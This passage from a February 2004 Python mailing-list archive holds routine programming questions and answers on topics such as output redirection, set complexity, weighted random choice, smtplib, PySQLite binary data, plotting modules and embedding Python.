References: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>
	<402CEC44.EFE48130@engcorp.com>
	<ae652179ac9762ccac0838a85622e763@news.meganetnews.com>
Message-ID: <402CFAFD.1434C87F@engcorp.com>

"Ladv?nszky K?roly" wrote:
> 
> I'd like to redirect the program output into a file.

I'd just us os.system then, as in

 os.system('command >somefile')

-Peter


From fumanchu at amor.org  Tue Feb 10 11:38:17 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 10 Feb 2004 08:38:17 -0800
Subject: When Pythons Attack (article)
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D15@opus.amorhq.net>

Mark wrote:
> O'Reilly just posted an article I wrote,
> which describes the most common mistakes 
> made by Python beginners.  It's available
> at this direct link:
> 
> http://www.onlamp.com/pub/a/python/2004/02/05/learn_python.html

which, besides being a stellar article, starts with the gem:

"Python may be one of the simplest and most flexible programming
languages out there, but it is still a programming language. It still
has syntax, datatypes, and the occasional dark corner inhabited by
sorcerers named Tim."

QOTW, ROFL, etc...

Nice work, Mark!


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From vivek_sawant at killspam.unc.edu  Wed Feb 18 15:54:50 2004
From: vivek_sawant at killspam.unc.edu (Vivek Sawant)
Date: Wed, 18 Feb 2004 15:54:50 -0500
Subject: Accessing method object from within a method
Message-ID: <4033d11a$1_2@news.unc.edu>

Hi,

Is there a way to obtain the method/function object from within the 
method like 'self' refers to the object instance. I would like to avoid 
looking method name (string) in class/object attributes. My goal is to 
write code that need not be changed when the method name is changed.

def method (self, ...)
   # somehow obtain 'methodobj' for this 'method'
   mname = methodobj.__name__;
   # do something with mname

Thanks.
\vivek



From eelgueta at navix.cl  Tue Feb  3 08:40:06 2004
From: eelgueta at navix.cl (Eduardo Elgueta)
Date: Tue, 3 Feb 2004 10:40:06 -0300 (CLST)
Subject: GD/gdmodule on Win XP
In-Reply-To: <m24qu95al6.fsf@mother.paradise.lost>
References: <3b3f63ed.0402021435.1937f119@posting.google.com> 
	<m24qu95al6.fsf@mother.paradise.lost>
Message-ID: <61819.200.90.172.177.1075815606.squirrel@www.navix.cl>

John,

Thank you very much for such a complete answer.

I'll try it and let you now if I succeed building the patched gdmodule.

Best regards,

Ed.

<cita quien="John Hunter">
>>>>>> "Eduardo" == Eduardo Elgueta <eelgueta at navix.cl> writes:
>
>     Eduardo> Hi All, I'm trying to setup matplotlib
>     Eduardo> (http://matplotlib.sourceforge.net/) in a Win XP box.
>
> gdmodule is difficult to install on windows (as you've discovered).
> Fortunately, Stefan Kuzminski figured this out and built a statically
> linked gd module - no need to download gd lib or freetype, etc.  Here
> are the compile notes he posted to the matplotlib-users mailing list
>
>   http://sourceforge.net/mailarchive/message.php?msg_id=7064914
>
> and here is a link to the dll; just put this in your site-packages dir.
>
>   http://matplotlib.sourceforge.net/gd/_gd.dll
>
> You will also need to place gd.py from the gdmodule-0.51 distro in
> site-packages.   After that you should be able to do
>
>   > python
>   >>> import gd
>
> IMPORTANT - I've been doing a lot of development on the gd backend of
> late and the latest version of matplotlib requires a patched version
> of gdmodule (which will become included in the standard gdmodule at
> the next release).  So the DLL linked above *will not* work with
> matplotlib-0.50.  Thus you will need to either:
>
>    * downgrade to matplotlib-0.42.2 -
>      http://sourceforge.net/project/showfiles.php?group_id=80706
>
>    * build the patched gdmodule using
>      http://matplotlib.sourceforge.net/gd/_gdmodule.c.  If you do
>      this, you can take advantage of the improvements made in the gd
>      backend subsequent to 0.42.2.  Please mail me a copy of the DLL
>      if you succeed with any compile notes.
>
> Of course you still need to the prerequisites described on
> http://matplotlib.sourceforge.net/backends.html#GD, but gdmodule is
> definitely the tough nut to crack on win32.
>
> I haven't built fonttools for win32 in some time, so if someone else
> can pipe in and share their insights I'd be happy.  I found the TTX
> installer on the sourceforge site, but this doesn't seem to provide
> the python fontools package.
>
> With the prereqs installed, you can test your setup with
>
>   import matplotlib
>   matplotlib.use('GD')
>   from matplotlib.matlab import *
>   plot([1,2,3])
>   savefig('gdtest')
>
> Good luck!
> John Hunter
>


-- 
Eduardo Elgueta
Senior Consultant
Navix

correo/email: eelgueta at navix.cl
tel?fono/phone: +56 (2) 209-8905
celular/mobile: +56 (9) 821-0033
web: www.navix.cl

Av. Pedro de Valdivia 555 Of. 216
Providencia 750-0913
Santiago, Chile



From Kyler at news.Lairds.org  Wed Feb 18 17:11:58 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Wed, 18 Feb 2004 22:11:58 GMT
Subject: my notes for playing DVDs on VIA C3 system (Freevo/MPlayer)
References: <m4u9g1-523.ln1@jowls.lairds.org> <403363e4@news.mt.net.mk>
Message-ID: <tj2dg1-p2h.ln1@jowls.lairds.org>

=?UTF-8?B?0LTQsNC80ZjQsNC9INCzLg==?= <mk at net.mail.penguinista> writes:

>> No problem, right?  Digging through some source, I decided to add
>> MPLAYER_AO_DEV       = 'oss'
>> MPLAYER_VO_DEV       = 'vesa'
>> to my configuration.  Now when I started DVD playback, I got a
>> fraction of a second of sound and then MPlayer died, returning me
>> to Freevo.

>Probably you were trying to start Mplayer to use the framebuffer while X11
>is running (does Freevo use X11) .. that should not work...

Using the vesa driver while X is running is fine.  I do it
frequently.

It does screw up the X display, but that's why I added the "chvt"
lines in my wrapper.  Switching out and back causes it to refresh.

--kyler


From tismer at stackless.com  Tue Feb 24 11:13:48 2004
From: tismer at stackless.com (Christian Tismer)
Date: Tue, 24 Feb 2004 17:13:48 +0100
Subject: Stackless update (was: [Stackless] Re: Stackless 3.0 for Python 2.3:
 new binaries)
In-Reply-To: <403AC060.2050202@stackless.com>
References: <mailman.145.1077390882.27104.python-list@python.org>	<403A8E4F.7080801@aon.at>	<403A9C1E.9040509@stackless.com>	<C3CCD5CD-6666-11D8-A902-000A95686CD8@redivi.com>	<403ABD36.50708@stackless.com>
	<403AC060.2050202@stackless.com>
Message-ID: <403B783C.3070800@stackless.com>

Christian Tismer wrote:

[IDLE was not running]

> So I think I have to change pickling of functions and we are there.
> I guess this is not a Tkinter issue, but it would have hit us
> at some time, later.

Issue solved.
Stackless works fine with IDLE, now.
This was not IDLE-specific, but a forgotton adaption of
cPickle to Stackless.
At the same time, a real cPickle bug showed up, and I submitted
a patch.

If there are no further bugs showing up, I wish to freeze
Stackless for three weeks. Development will continue on
the Stackless Sprint in Berlin, March 10-14.

See the updated website at http://www.stackless.com/

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From pmetzger at bellsouth.net  Thu Feb 12 12:15:58 2004
From: pmetzger at bellsouth.net (Paul Metzger)
Date: Thu, 12 Feb 2004 11:15:58 -0600
Subject: Hi All, have a  question
In-Reply-To: <A128D751272CD411BC9200508BC2194D033835F4@escpl.tcp.com.ar>
Message-ID: <200402121717.i1CHHgl1016108@apollo.megagate.com>

 
> 
> If you type "python" in the command line, it opens the interpreter?
> 
> If yes, you can put "#!/usr/bin/env python" in the first line 
> of the script.
> 
> And remember, in either case, the second line *must* be blank.
> 
> PD: The "subject" field in the mail is to write the subject 
> of the mail, ;)
> 
That worked, now may I ask what the /env does? And what difference it makes
to it, since it works without it on 2 servers, and apparently has to have it
on one? The two that is works on are Mandrake 9.1 and the other is 9.2 which
is a bit buggy for my taste, but it's getting worked out slowly, that is the
only cause I can come up with. 

Thanks for the help 

Paul




From myaltkey at msn.com  Wed Feb  4 03:11:45 2004
From: myaltkey at msn.com (altkey)
Date: Wed, 04 Feb 2004 16:11:45 +0800
Subject: Zope
In-Reply-To: <bv3ujt$r2d$2@newshost.mot.com>
References: <bv2j13$n4oug$1@ID-216549.news.uni-berlin.de>
	<bv3f40$48q$1@newshost.mot.com>
	<bv3ggt$nm3gh$1@ID-216549.news.uni-berlin.de>
	<bv3ujt$r2d$2@newshost.mot.com>
Message-ID: <4020a943$1@funnel.arach.net.au>

Stephen Boulet wrote:
> lenk wrote:
> 
>> Stephen Boulet wrote:
>>
>>  > Just wondering, it's not in /etc/init.d/zope* ?
>>  >
>>
>> there is no zope path in etc/init.d/..
>> only /opt/zope/...........
> 
> 
> 
> Does "rpm -ql zope | grep bin" return anything useful?
> 
> (Hoping I'm remembering my rpm arguments ...)
> 
> Stephen
I am not very experienced with Zope, but as far as I can tell you need to
	(1) install zope - the normal ./configure ... make ... make install process
	(2) create a zope instance - this is described in the install 
documentation for zope

the start/stop type scripts are in the instance's directory structure
as <leading path stuff>/<zope instance>/bin/runzope (you can use zopectl 
too, it works slightly differently and you should run it in a terminal)

cheers,
altkey



From tim.one at comcast.net  Fri Feb  6 00:38:40 2004
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 6 Feb 2004 00:38:40 -0500
Subject: Big O of sets
In-Reply-To: <bvv7e3$cj4$1@news.service.uci.edu>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEIOIMAB.tim.one@comcast.net>

[Tony Meyer]
> ...
> In particular, I'm interested in intersection, union and > (proper
> subset), and of ImmutableSets, rather than Sets.

Mutable vs immutable makes no real difference for these.

intersection uses len(little) dict lookups, where little and big are the
inputs, and little is the smaller set.  It also does a number of dict
insertions equal to the size of the result set.  Expected time is thus
O(len(little)) (the result set can't be bigger than little, so O() covers
that too).

union has the same complexity as dict.copy() followed by dict.update().

s1 < s2 is constant-time if len(s1) >= len(s2).  If the result is true, it
requires len(s1) dict lookups to determine that.  If the result is false and
len(s1) < len(s2), expected time depends on the distribution of elements.
In the worst case it requires len(s1) dict lookups to find an element of s1
not in s2.  In the best case, one dict lookup finds an element of s1 not in
s2.




From jcarlson at nospam.uci.edu  Tue Feb  3 22:43:24 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 03 Feb 2004 19:43:24 -0800
Subject: different string representation (buffer gap)
In-Reply-To: <ddcff747.0402030909.49343c44@posting.google.com>
References: <ddcff747.0402030909.49343c44@posting.google.com>
Message-ID: <bvppt5$81a$1@news.service.uci.edu>

[snip]

My advice: find some pre-existing editor component and adapt it to suit 
your needs.  Writing an editor component, whether it be for a GUI or 
console, is a pain in the ass.

If you are looking for a GUI editor component, stick with wxPython and 
the wxStyledTextCtrl, it is a binding to the fabulous scintilla editing 
component: http://scintilla.org

I have no advice for a console editor, but I would suggest you take a 
look at curses or ncurses, whichever one is the open source version.

Once you have that thing embedded in your application, the rest should 
basically write itself.  How do I know?  Because I wrote an editor with 
it myself: http://pype.sourceforge.net


  - Josiah


From jcarlson at nospam.uci.edu  Fri Feb  6 23:46:58 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 20:46:58 -0800
Subject: Total noob question re: python icon
In-Reply-To: <402465f1_1@127.0.0.1>
References: <gNSUb.13647$GO6.12603@newsread3.news.atl.earthlink.net>
	<slrnc283kp.o2u.bignose-hates-spam@iris.polar.local>
	<402465f1_1@127.0.0.1>
Message-ID: <c01qoe$po6$2@news.service.uci.edu>

> I have not really coded anything in just about 30 years and have decided
> that it is time I got 'back in the saddle' at least a little, I have a
> project I want to do and have pretty much narrowed it down to python to
> do it in.

We hope that you like the way Python *feels*, and /hopefully/, the way 
it helps you get your work done.

  - Josiah


From paxcalpt at sapo.pt  Fri Feb 27 02:54:26 2004
From: paxcalpt at sapo.pt (Paxcal)
Date: Fri, 27 Feb 2004 07:54:26 -0000
Subject: Plotting modules
References: <c1m6vd$sij$2@rumours.uwaterloo.ca>
Message-ID: <403ef64c$0$1760$a729d347@news.telepac.pt>

You may want to try wxPyPlot wich is at:
http://www.cyberus.ca/~g_will/wxPython/wxpyplot.html
It only depends on numeric and wxPython... and =) has a Boa Constructor (
http://boa-constructor.sourceforge.net/ ) plug-in wich is a great feature
for me.
It laks many of the features that are found in scipy.gplt but it?s fast and
py2exe compatible.

Regards...

Paxcal


"DG" <david.grant-NOSPAM at telus.net> escreveu na mensagem
news:c1m6vd$sij$2 at rumours.uwaterloo.ca...
> I'm interesting in finding the ultimate cross-platform python plotting
> module.  So far I've used scipy.gplt and biggles which both have
> disadvantages.  There is no python 2.3 binary package for biggles in
> windows, and scipy.gplt doesn't seem to work with MacMillan's installer
> in Windows.  I haven't tried py2exe yet.
>
> I need a plotting program this is:
> -Cross platform (linux and windows) and can build into binary form, or
> easy to install form on linux and windows.
> -Hopefully still maintained (unlike biggles)
> -Easy to use (like scipy.gplt)
>
> I wasn't that impressing with the Gnuplot python module, and I haven't
> tried scipy.plt or chaco yet.
>
> Alternatively, if someone can tell me some way that I can package my
> code so that others in Windows can run it.  I just don't want other
> people to have to download python, Numeric, scipy, and biggles, for
> example, just to get my code to run.  But if I could easily package all
> that stuff into one, that would be fine, although the installer would be
> huge.
>
> David




From pinard at iro.umontreal.ca  Tue Feb 24 08:36:45 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Tue, 24 Feb 2004 08:36:45 -0500
Subject: Library for handling GNU parameters
In-Reply-To: <403AB8D4.7020302@python.org>
References: <c1dspf$8o5$05$1@news.t-online.com> <403A7946.378FE946@engcorp.com>
	<20040223221909.GA17427@titan.progiciels-bpi.ca>
	<403AB8D4.7020302@python.org>
Message-ID: <20040224133645.GA17596@alcyon.progiciels-bpi.ca>

[David Goodger]

> Do you mean "optional option arguments"?  Where an option has an
> optional argument?

Within GNU `getopt', it is requested by a double colon after an
option letter in the option string, and with the predefined constant
`optional_argument' in the second position of a `struct option'
entry (the two other predefined constants being `no_argument' and
`required_argument').

> I believe this idea was discussed on the optik-users list, but it was
> determined that such a thing is not reliably parseable.

GNU `getopt' parses it.  Yet, users have to be careful while providing
the optional value, for complying with the rules.  About if this is the
parser, or the user,  not being reliable, is a debatable question :-).

> getopt.py does *not* handle "optional option arguments" either.

I noticed.  When I translated Recode to Python, I had to devise a stunt
around this limitation.

> If you meant optional positional arguments, optparse and getopt both
> support them (by leaving the logic up to the client program).

:-) :-). By leaving the logic up to the client program, every module
could be said to support every thinkable feature!  This is not exactly
what we usually mean by "support"! :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From simoninusa2001 at yahoo.co.uk  Mon Feb  9 12:14:35 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 9 Feb 2004 09:14:35 -0800
Subject: What's happened to the McMillan [Installer] website?
Message-ID: <30260531.0402090914.203bc1c@posting.google.com>

Been trying http://www.mcmillan-inc.com for a few days now and keep
getting 404 and directory listing denied etc. errors.

Luckily I've already downloaded Installer and it's great - better than
py2exe for my uses, especially when combined with UPX.

Has anyone had any luck with getting the Windows version running under
Wine, so I don't have to reboot to Windows from Linux to create a
Windows .exe - it doesn't seem to support cross-compilation?


From __peter__ at web.de  Fri Feb 27 16:41:50 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 27 Feb 2004 22:41:50 +0100
Subject: Tab expansion problem or ..?
References: <8d3e714e.0402271329.40201ed2@posting.google.com>
Message-ID: <c1odiu$fkq$07$2@news.t-online.com>

Tony C wrote:

> I've written a program which reads a text file in , and writes it out
> to a new filename.
> 
> When the program encounters a line which contains a specific text
> label-, I read in the hex number adjacent to the label, convert the
> number to decimal, then write the line of text to the output file.
> 
> Essentially, the output file is mostly identical to the input file,
> with the exception of the hex numbers being converted to decimal.
> 
> The problem I'm having is getting the exact location of the hex
> numbers.
> 
> fhIn = open("input.txt")
> 
> for line in fhIn:
>   if 'HEXNUM' in line:
>     Hexloc = line.find('HEXNUM')
>     print"\n%s" % line[:Hexloc]
> 
> The index returned by find() does not seem to be accurate.
> 
> When I display the line using the offset (Hexloc), the text displayed
> is many characters away from the text label 'HEXNUM'.
> 
> 
> So I then tried
>  
> fhIn = open("input.txt")
> 
> for line in fhIn:
>   if 'HEXNUM' in line.expandtabs():
>     Hexloc = line.find('HEXNUM')
>     print"\n%s" % line[:Hexloc]
> 

You are throwing away the result of line.expandtabs() in the above code.
Therefore the expansion effects neither the printed line nor the Hexloc
index. It should rather be (untested)

for line in fhIn:
    if "HEXNUM" in line:
        line = line.expandtabs()
        Hexloc = line.find("HEXNUM")
        print "\n%s" % line[:Hexloc]

> and I've tried passing numbers from 1-4 to expantabs, all with
> different results.
> 
> I've verified that there are tab characters in the input file, by
> using an editor which can display the "whitespace characters" as
> visible symbols.
> 
> 
> Am I overlooking something painfully obvious here ?
> 
> 
> thanks in advance



From python at rcn.com  Tue Feb  3 02:21:57 2004
From: python at rcn.com (Raymond Hettinger)
Date: 2 Feb 2004 23:21:57 -0800
Subject: Smarter way of doing this?
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
Message-ID: <5d83790c.0402022321.2202ea95@posting.google.com>

Max M <maxm at mxm.dk> 
> I have written this function, "choose_by_probability()"
> 
> It takes a list of probabilities in the range 0.00-1.00, and it must 
> then randomly select one of the probabilities and return it's index.
> 
> The idea is to have two lists, one with a value, and another with a 
> probability. The value then gets randomly selected from its probability.
> 
> values = ['item 1','item 2','item 3',]
> probabilities = [0.66, 0.33, 0.16]

Here is a simplified version of the approach you took:

def select(tab, random=random.random):
    cp = 0
    r = random()
    for i, p in enumerate(tab):
        cp += p
        if cp > r:
            return i
    raise Exception('probabilities do not add upto 1.0')

If you need to call this many times and for large table, there are
ways to speed this up.

* re-arrange the tables to make sure the largest probabilities come
first. Intentionally or not, your sample data is already arranged this
way (though the probabilities add up to more than 1.0 and should be
scaled back to 1.0).


* pre-summarize the summations with a cumulative probability table:
  [.50, .25, .15, .10]   --> [.50, .75, .90, 1.00]

def cselect(ctab, random=random.random):
    r = random()
    for i, cp in enumerate(ctab):
        if cp > r:
            return i
    raise Exception


* if the table is cumulative and large, bisection offers a faster
search:

def cselect(ctab, random=random.random, bisect=bisect.bisect):
    return bisect(ctab, random())


* if the probabilities come in integer ratios, you could reduce the
problem to an O(1) lookup:

  [.5, .3, .1, .1] --> [0,0,0,0,0,1,1,1,2,3]

def lselect(ltab, choice=random.choice):
    return choice(ltab)


IOW, if speed is what is important, then be sure to exploit any known
structure in the data (ordering, cumulativeness, integer rations, etc)
and don't compute anything twice (pre-compute the summation).


Raymond Hettinger


From peter at engcorp.com  Mon Feb  9 15:07:51 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 15:07:51 -0500
Subject: smtplib sendmail problems
References: <731fc603.0402051527.768e5372@posting.google.com>
Message-ID: <4027E897.3B82303A@engcorp.com>

Hank wrote:
> 
> I have a function that sends mail but I'm finding the number of
> characters in the To: field is limited to ~255 characters. This means
> that email is sent to only part of the email list.
> 
> #recipients is a list of email addresses, greater than 255 characters
> in total
> 
> header = "To: " + string.join(recipients, "; ") + "\r\n" \
>          "From: " + "testing at test.com\r\n" \
>          "Date: " +  time.strftime("%A, %B %d, %Y %I:%M %p",
> sendTime)+ "\r\n"
>          "X-Mailer: Automated Test \r\n" \
>          "Subject: " + subject + "\r\n\r\n"
> text = header + mailText
> server = smtplib.SMTP('something.something.com')
> result = server.sendmail("testing at test.com", recipients, text)
> server.quit()

What does "recipients" contain?  That's the relevant thing here,
not the To: header.

SMTP does not use the To: header for any purpose.  In fact, it can
be absent.  If only some people are receiving your message, it is
something to do with the recipients list (note: it must be a list)
and not the header.  Or there's a problem with an intermediate 
mail relay.  Or something else.  Always lots of ways for this stuff
to fail except, generally, the To: header.

-Peter


From etjo at freenet.de  Wed Feb 11 10:36:47 2004
From: etjo at freenet.de (Joe Richett)
Date: Wed, 11 Feb 2004 16:36:47 +0100
Subject: HowTo exec every line of a file inside python program
Message-ID: <c0di6f$7nb$03$1@news.t-online.com>

Hi all,

I have a python program and I have some "user defined" command stored in 
a separate text file. Is there a builtin command with which I can load 
the "user defined"-file and execute every command line by line, e.g.

#
# MAIN PROGRAM
#

def a(i):
   print "here we are #", i

if __name__ == "__main__":
   for i in range(10):
     a(i)
     <execute everything from FILE.PY>

------------------------------------------------------

#
# USER DEFINED FILE
#
print "here we are in the user defined file"




From gh at ghaering.de  Tue Feb 10 11:00:09 2004
From: gh at ghaering.de (=?ISO-8859-1?Q?Gerhard_H=E4ring?=)
Date: Tue, 10 Feb 2004 17:00:09 +0100
Subject: Strings with null bytes inside sqlite
In-Reply-To: <20040108220654.GE14102@unpythonic.net>
References: <btkg7i$eh4$1@news-reader1.wanadoo.fr>
	<20040108220654.GE14102@unpythonic.net>
Message-ID: <40290009.1090802@ghaering.de>

Jeff Epler wrote:
> It depends on the structure of the string, but using
> s.encode("string-escape") / e.decode("string-escape") may give better
> performance and better storage characteristics (if your data is mostly
> ASCII with a few NULs included).  If chr(0) is the only problem value,
> then creating your own encoder/decoder may be better, translating
> '\0' -> '\\0' and '\\' -> '\\\\'.

No need to mess around with this yourself, as PySQLite provides native support for 
binary data:

 >>> import sqlite
 >>> cx = sqlite.connect(":memory:")
 >>> cu = cx.cursor()
 >>> cu.execute("create table test(b binary)")
 >>> bindata = "".join([chr(x) for x in range(10)])
 >>> cu.execute("insert into test(b) values (%s)", (sqlite.Binary(bindata),))
 >>> cu.execute("select b from test")
 >>> row = cu.fetchone()
 >>> row[0] == bindata
True

The PySQLite binary type uses a highly space efficient algorithm from the SQLite 
author to encode chr(0) characters.

Yet another undocumented feature, I suppose. Unfortunately, I'm still offline at 
home due to moving to a new appartment so the next release will have to wait even 
longer.

-- Gerhard



From info at ing-monteleone.com  Sun Feb 29 09:20:46 2004
From: info at ing-monteleone.com (Ing Giuseppe Monteleone)
Date: Sun, 29 Feb 2004 14:20:46 GMT
Subject: need help for extending and embedding
Message-ID: <2zm0c.55289$IT2.1679033@news4.tin.it>


I'm trying to extend and embed the python language in a Borland C++Builder
application but I have some problem

Using PyRun_SimpleFile() I got and invalid access error, menwhile using
PyRun_SimpleString I cannot have no effect.

I used the standard sequence embedding code

Py_Initialize()

Py_InitModule()
PyImport_AddModule()
PyRun_SimpleFile()

I checked parameter many times, but the program won't work. what's wrong ?

In my opinion i think that could be some problem with stdion and stdout but
I acnnot redirect them from C before starting file with PyRun_SimpleFile.


can anyone help me ?

Thanks

Ing Giuseppe Monteleone







From thoaan at stud.cs.uit.no  Tue Feb 10 06:29:27 2004
From: thoaan at stud.cs.uit.no (Thomas Aanensen)
Date: Tue, 10 Feb 2004 12:29:27 +0100
Subject: Using class without importing module
Message-ID: <c0afal$8ev$1@news.uit.no>

Hi all.

I'm sending a class over a socket connection, and I want to use this class
at the new location. The problem is that I get a "module blah does not
exist" error.

Is it possible for me to use this class without importing the module? How?

Any other suggestions?


Cheers,
Thomas




From cnoviello at hotmail.com  Sat Feb 28 06:43:44 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Sat, 28 Feb 2004 11:43:44 +0000 (UTC)
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
Message-ID: <5cac69b0da18e0271a10151097ca539c.46955@mygate.mailgate.org>

class Z(object):
    value = 42
    def __hasattr__(self, name):
        if name == '__int__':
            return True
    def __int__(self):
        return self.value
    
Umm, maybe I haven't understood what you need.

--
Don't you know why your Python application has crashed? 
Take a look to http://www.pycrash.org


-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From mwh at python.net  Fri Feb  6 06:24:09 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 6 Feb 2004 11:24:09 GMT
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net>
Message-ID: <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>

Thomas Heller <theller at python.net> writes:

> I once knew how to do it, but I cannot find or remember it anymore:
> 
> How can I attach *class* methods to a type in C code, when I have a
> function
> 
> PyObject *func(PyObject *type, PyObject *arg);
> 
> with the METH_O calling convention?  The type is already created, I
> cannot insert it into the tp_methods array anymore.
> 
> Something like this:
> 
> class X(object):
>     pass
> 
> def func(cls, arg):
>     ....
> 
> X.func = classmethod(func)

Just stuff it into tp_dict?  You'll need to make the method object
yourself, but that's easy.

I think you probably have to hope that the name of the class method
isn't a special method name (you'd want to call
typeobject.c:update_slots then, but I don't think you can arrange for
that to happen from outside typeobject.c as all the juicy symbols are
static).

Or just stick TP_HEAPTYPE into tp_flags, use PyObject_SetAttr and take
TP_HEAPTYPE out again (that's very sick, though).

Cheers,
mwh

-- 
  > Well, as an American citizen I hope that the EU tells the MPAA 
  > and RIAA to shove it where the Sun don't shine.
  Actually they already did. Only first they bent over and dropped
  their trousers.      -- Shmuel (Seymour J.) Metz & Toni Lassila, asr


From aahz at pythoncraft.com  Wed Feb 11 14:00:55 2004
From: aahz at pythoncraft.com (Aahz)
Date: 11 Feb 2004 14:00:55 -0500
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
	<zeWdnXYoFaHsSbTd4p2dnA@comcast.com>
Message-ID: <c0du57$42v$1@panix3.panix.com>

In article <zeWdnXYoFaHsSbTd4p2dnA at comcast.com>,
William Chang <williamichang at hotmail.com> wrote:
>
>One of the intended uses is indeed a next-gen web spider.  I did the
>math, and yes I will need about 10 cutting-edge PCs to spider like
>you-know-who.  

Note that while you-know-who makes extensive use of Python, I don't
think they're using it for spidering/searching.  I do have some
background writing a spider in Python, using Verity's engine for
indexing/retrieval, but we were using threading rather than
asyncore-style operations.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From jepler80 at unpythonic.net  Sun Feb 22 10:51:56 2004
From: jepler80 at unpythonic.net (jepler80 at unpythonic.net)
Date: Sun, 22 Feb 2004 09:51:56 -0600
Subject: strange sum behavior
In-Reply-To: <4038c522$1_3@mk-nntp-1.news.uk.worldonline.com>
References: <4038c522$1_3@mk-nntp-1.news.uk.worldonline.com>
Message-ID: <20040222155155.GA2662@unpythonic.net>

I get similar results from
Python 2.4a0 (#1, Feb 19 2004, 17:19:10) 
[GCC 3.3.2 20031022 (Red Hat Linux 3.3.2-1)] on linux2

$ timeit -s 'l=range(0,1000000)' 'sum(l)'
10 loops, best of 3: 985 msec per loop
$ timeit -s 'l=range(0,1000000)' 'sum([sum(l[x:x+1000]) for x in xrange(0,len(l),1000)])'
10 loops, best of 3: 352 msec per loop

I suspect the reason is that the top loop has many operations on Python
longs (unbounded ints), while the bottom loop has relatively few.  Here's a
use of sum() that doesn't switch from ints to longs:
$ timeit -s 'l=[0]*1000000' 'sum(l)'
10 loops, best of 3: 241 msec per loop
$ timeit -s 'l=[0]*1000000' 'sum([sum(l[x:x+1000]) for x in xrange(0,len(l),1000)])'
10 loops, best of 3: 285 msec per loop

... the nested loop is slower, as it should be.

Jeff



From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sat Feb 21 19:36:25 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 22 Feb 2004 01:36:25 +0100
Subject: Complex Nested Dictionaries
In-Reply-To: <4037dda3$1@news.bmi.net>
References: <40354c35@news.bmi.net> <c15mko$c2g$1@nntp6.u.washington.edu>
	<4036a303@news.bmi.net> <4037acf2$1@nntp0.pdx.net>
	<4037dda3$1@news.bmi.net>
Message-ID: <4037f98c$0$569$e4fe514c@news.xs4all.nl>

T. Earle wrote:

> "if list a[key] exists, then append; otherwise, create a new list"

when a is a dict, key the required key, and object the value you want
to insert;

  a.setdefault(key,[]).append(object)

--Irmen


From rupole at hotmail.com  Fri Feb 27 12:25:35 2004
From: rupole at hotmail.com (Roger Upole)
Date: Fri, 27 Feb 2004 09:25:35 -0800
Subject: file() and Win32 security attributes
References: <403e2bfd.9144015@news.t-online.de>
Message-ID: <403f4f86_1@127.0.0.1>

You could avoid rewriting a lot of code by adding a call to
win32security.SetFileSecurity after the file is closed.
Alternately, you can change the default permissions for
new files using win32security.SetTokenInformation to modify
TokenDefaultDacl, but that gets more complicated.  Also, it
doesn't apply if the directory it's created in has an inheritable
DACL.
   hth
      Roger

"Gerson Kurz" <gerson.kurz at t-online.de> wrote in message
news:403e2bfd.9144015 at news.t-online.de...
> Hi all, a quick question: how can I force file() to create files that
> have "ALL ACCESS FOR EVERYONE" security attributes? Other than by a
> major rewrite of my existing code modules replacing the existing
> "native-python" code by win32file / win32security calls?
>
> In case you're wondering what is happening here:
>
> - user A with admin rights logs on to NT and uses python to create a
> file
> - user A logs off
> - user B without admin rights logs on to NT and uses python to access
> said file -> doesn't work, because B has no admin rights and cannot
> access files created by an administrator.
>
> Most feasible solution is AAFE, because a more finegrained ACL is a
> nightmare to maintain :)
>
>




From noemail at noemail4u.com  Mon Feb  9 09:57:11 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Mon, 09 Feb 2004 14:57:11 GMT
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<c03h78$dfc$1@news.service.uci.edu>
	<c03ris$c2t$2@news.rz.uni-karlsruhe.de>
	<c04je2$d66$1@news.service.uci.edu>
	<c057uq$4ph$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080818.2804f08f@posting.google.com>
Message-ID: <be5964a8f246032eb49a0b73a56febbe@news.teranews.com>

On 8 Feb 2004 08:18:06 -0800, llothar at web.de (Lothar Scholz) wrote:

>Uwe Mayer <merkosh at hadiko.de> wrote in message news:<c057uq$4ph$1 at news.rz.uni-karlsruhe.de>...
>
>> Do you think there is a reason why in Java every class got to be put into
